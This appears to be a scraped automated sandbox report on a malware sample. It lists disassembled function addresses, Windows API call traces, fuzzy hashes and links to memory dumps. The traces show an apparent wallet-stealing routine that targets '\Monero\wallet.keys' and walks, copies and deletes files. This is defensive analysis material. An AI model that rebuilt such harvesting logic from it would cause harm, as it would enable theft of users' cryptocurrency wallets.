Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 53f6d6afd0f5126940006fdc261ac3663a2258550e513179f11c2c42c478b183
Instruction ID: c903f53d4bfc05f5e097d80e504016bc5f3a304112a185dc6ec5ba63091bc069
Opcode Fuzzy Hash: 53f6d6afd0f5126940006fdc261ac3663a2258550e513179f11c2c42c478b183
Instruction Fuzzy Hash: 21F096B1A44658EBC714DF88DC45FAEF7BCF744714F0006A9F91592280D7755A44CBE1

Function 00B3B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

lstrlen.KERNEL32(00000000), ref: 00B3B9C2
lstrlen.KERNEL32(00000000), ref: 00B3B9D6

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: f596d2aba6a4ae93430ab0a4287e589d67b001ae01934c5887ce043017276905
Instruction ID: f2818d1bcce50775e0808c19fd362b346d9fb1ac82cfb0b32140fc70b1cc44ad
Opcode Fuzzy Hash: f596d2aba6a4ae93430ab0a4287e589d67b001ae01934c5887ce043017276905
Instruction Fuzzy Hash: 1BE10E72850118ABEB14FBA4CC92EEE73B8FF54300F414599F506B61A1EF346B49DB62

Function 00B3AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

lstrlen.KERNEL32(00000000), ref: 00B3B16A
lstrlen.KERNEL32(00000000), ref: 00B3B17E

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: af1b4a38dc0f2421bf64761111d7f08b3e41371ab0a7794c9a7256b7ee677281
Instruction ID: 7d0fbd9415ab1d1dbda406c1bf8877845a608e74a36963128796633dc16e2bd6
Opcode Fuzzy Hash: af1b4a38dc0f2421bf64761111d7f08b3e41371ab0a7794c9a7256b7ee677281
Instruction Fuzzy Hash: 6B915172950104ABEB04FBA4DC92EEE73B8FF54300F504598F506B61A1EF346B49DBA2

Function 00B3B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

lstrlen.KERNEL32(00000000), ref: 00B3B42E
lstrlen.KERNEL32(00000000), ref: 00B3B442

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: e6eb6fdbb504987d25fd19bd151187885e388d890c6de592efbfdee0c6a3675b
Instruction ID: 7d6f68675521c761b0eb8f53e3958e437bb87eef283cfba0ab50f17ad1a98ebd
Opcode Fuzzy Hash: e6eb6fdbb504987d25fd19bd151187885e388d890c6de592efbfdee0c6a3675b
Instruction Fuzzy Hash: 29714272950118ABEB04FBA4DC92EEE73B8FF54304F414598F506A6191EF346B09DBA2

Function 00B44BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B48E0B

lstrcat.KERNEL32(?,00000000), ref: 00B44BEA
lstrcat.KERNEL32(?,014ED398), ref: 00B44C08

Part of subcall function 00B44910: wsprintfA.USER32 ref: 00B4492C
Part of subcall function 00B44910: FindFirstFileA.KERNEL32(?,?), ref: 00B44943

Part of subcall function 00B44910: StrCmpCA.SHLWAPI(?,00B50FDC), ref: 00B44971
Part of subcall function 00B44910: StrCmpCA.SHLWAPI(?,00B50FE0), ref: 00B44987
Part of subcall function 00B44910: FindNextFileA.KERNEL32(000000FF,?), ref: 00B44B7D
Part of subcall function 00B44910: FindClose.KERNEL32(000000FF), ref: 00B44B92

Part of subcall function 00B44910: wsprintfA.USER32 ref: 00B449B0
Part of subcall function 00B44910: StrCmpCA.SHLWAPI(?,00B508D2), ref: 00B449C5
Part of subcall function 00B44910: wsprintfA.USER32 ref: 00B449E2
Part of subcall function 00B44910: PathMatchSpecA.SHLWAPI(?,?), ref: 00B44A1E
Part of subcall function 00B44910: lstrcat.KERNEL32(?,014EE2E0), ref: 00B44A4A
Part of subcall function 00B44910: lstrcat.KERNEL32(?,00B50FF8), ref: 00B44A5C
Part of subcall function 00B44910: lstrcat.KERNEL32(?,?), ref: 00B44A70
Part of subcall function 00B44910: lstrcat.KERNEL32(?,00B50FFC), ref: 00B44A82
Part of subcall function 00B44910: lstrcat.KERNEL32(?,?), ref: 00B44A96
Part of subcall function 00B44910: CopyFileA.KERNEL32(?,?,00000001), ref: 00B44AAC
Part of subcall function 00B44910: DeleteFileA.KERNEL32(?), ref: 00B44B31

Part of subcall function 00B44910: wsprintfA.USER32 ref: 00B44A07

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: f4f05fc0bc11eb07a05d48c9e43323cedbe04c74c28c25284e7577683a32a197
Instruction ID: ace9640ab3632a184067794fcf7a276bb67255b993902bb79bc1450f75c4be82
Opcode Fuzzy Hash: f4f05fc0bc11eb07a05d48c9e43323cedbe04c74c28c25284e7577683a32a197
Instruction Fuzzy Hash: F74195B75002046BD754FBA8EC42EFE33BDA7D5700F00858CB54996286FE755BC89BA2

Function 00B36660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00B36706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00B36753

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6b3e30268dcecbfcc2f7b7445e1b4d60ef5915effc09d9b3a243581ee0434ea0
Instruction ID: c4259ad8f2632b77702fce74b3c1b87a79892225c1333f79b94795e6b1a2d63e
Opcode Fuzzy Hash: 6b3e30268dcecbfcc2f7b7445e1b4d60ef5915effc09d9b3a243581ee0434ea0
Instruction Fuzzy Hash: 4641B574A00209EFCB44CF98C495BADBBB1FF48354F24C2A9E9599B355D731AA81CB84

Function 00B45050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B48E0B

lstrcat.KERNEL32(?,00000000), ref: 00B4508A
lstrcat.KERNEL32(?,014EDCD0), ref: 00B450A8

Part of subcall function 00B44910: wsprintfA.USER32 ref: 00B4492C
Part of subcall function 00B44910: FindFirstFileA.KERNEL32(?,?), ref: 00B44943

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 7d772c1addc6adf076c2dce926821c8c09aa77cd6351978164f4094fc25f0fb1
Instruction ID: abcf1f3011abe1e43cc50bee89c24a4b00a09d71adda5f659c19a163bccd3b0f
Opcode Fuzzy Hash: 7d772c1addc6adf076c2dce926821c8c09aa77cd6351978164f4094fc25f0fb1
Instruction Fuzzy Hash: 8101967690030867D754FBB4DC42EEE73BCAB64300F4045D8B64A96291FE709BC89BE2

Function 00B310A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00B310B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00B310F7

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: d525739dae4911de388b57159281daad603c49ee8704c2b9cb77a9c99ea69924
